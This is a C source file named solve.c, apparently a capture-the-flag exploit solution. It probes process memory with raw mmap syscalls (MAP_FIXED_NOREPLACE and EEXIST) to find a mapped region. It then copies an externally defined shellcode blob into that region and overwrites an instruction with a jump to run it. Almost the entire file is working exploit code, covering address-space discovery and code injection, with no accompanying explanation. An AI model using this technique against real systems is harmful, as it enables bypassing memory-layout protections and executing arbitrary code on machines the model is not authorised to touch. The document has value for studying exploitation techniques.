/..

#CONTENT

#TOP

solve.c
C
#include <errno.h>
#include <fcntl.h>
#include <immintrin.h>
#include <stdint.h>
#include <sys/mman.h>

typedef uint64_t u64;
typedef uint16_t u16;

#define DEBUG 0

#if DEBUG == 1
#include <stdio.h>
#include <string.h>
#else

#define printf(msg, ...)                                                       \
    do {                                                                       \
        write(1, msg, sizeof(msg) - 1);                                        \
    } while (0)

#define setbuf(...)                                                            \
    do {                                                                       \
    } while (0)

void *memcpy(void *dst, const void *src, size_t n) {
    size_t len = (n + 7 & ~7) >> 3;
    for (int i = 0; i < len; i++) {
        *((u64 *)dst + i) = *((u64 *)src + i);
    }
    return dst;
}

#endif

__attribute__((naked)) void write(int fd, void *buf, size_t n) {
    asm volatile("push r10\n"
                 "push r9\n"
                 "push r8\n"

                 "mov eax, 1\n"
                 "mov r10, rcx\n"
                 "syscall\n"

                 "pop r8\n"
                 "pop r9\n"
                 "pop r10\n"
                 "ret\n"
                 :
                 :
                 : "memory");
}

void hex(u64 num) {
    char buf[32] = {0};
    int idx = 0;

    buf[idx++] = '0';
    buf[idx++] = 'x';

    do {
        char high = (num >> 60);
        char ch = high >= 10 ? 'A' + high - 10 : '0' + high;
        buf[idx++] = ch;
        num <<= 4;
    } while (idx < 18);

    write(1, buf, idx);
}

__attribute__((naked))
// rdi, rsi, rdx, rcx, r8, r9
void *
mymmap(void *addr, size_t len, int prot, int flags, int fd, size_t off) {
    asm volatile("push r10\n"
                 "push r9\n"
                 "push r8\n"

                 "mov eax, 9\n"
                 "mov r10, rcx\n"
                 "syscall\n"

                 "pop r8\n"
                 "pop r9\n"
                 "pop r10\n"
                 "ret\n"
                 :
                 :
                 : "memory");
}

u64 binsearch(u64 base, u64 bits) {
    u64 len = 1L << bits;
    for (int i = 0; i < 16; i++) {
        // printf("checking "); hex(base); printf(" - "); hex(base + len ); printf("\n");
        u64 mem =
            (u64)mymmap((void *)base, len, PROT_READ | PROT_WRITE,
                        MAP_ANON | MAP_PRIVATE | MAP_FIXED_NOREPLACE, -1, 0);
        // if (mem >> 63 == 0) {
        //     mymunmap((void *)base, len);
        // }
        if (mem == -EEXIST) {

            #if DEBUG == 1
            printf("found mapping: %p with %ld\n", (void *)base, bits);
            #else
            // printf("found mapping: "); hex(base); printf(" with "); hex(bits); printf("\n");
            #endif

            if (bits > 12) {
                return binsearch(base, bits - 4);
            } else {

                #if DEBUG == 1
                printf("done: %p\n", (void *)base);
                #else
                // printf("done: "); hex(base); printf("\n");
                #endif

                return base;
            }
            break;
        }
        base += len;
    }
    return 0;
}

__attribute__((section(".entry"))) int main() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    printf("starting...\n");

    u64 base = 0x0000700000000000L;
    u64 found = 0;

    for (int i = 0; i < 16; i++) {
        for (int j = 0; j < 16; j++) {
            u64 test = base + (1UL << 36) * j + (1UL << 40) * i;
            found = binsearch(test, 32);
            // if (found != 0) goto done;
            if (found != 0 && (found & 0xffffff) == 0x4d5000) {
                printf("found = "); hex(found); printf("\n");
                goto done;
            }
        }
    }

done:;
    printf("done\n");
    hex(found); printf("\n");

    extern u64 shellcode_end, shellcode;

    u64 shellcodelen = (u64)&shellcode_end - (u64)&shellcode;
    char *target = (char *)(found + 0x40);
    memcpy(target, (char *)&shellcode, shellcodelen);

    // target addr - 0x1a
    asm volatile("mov rax, %[found]\n"
                 "mov word ptr [rax + 0x18], 0x26eb\n"
                 :
                 : [found] "r"(found)
                 : "memory", "rax");
}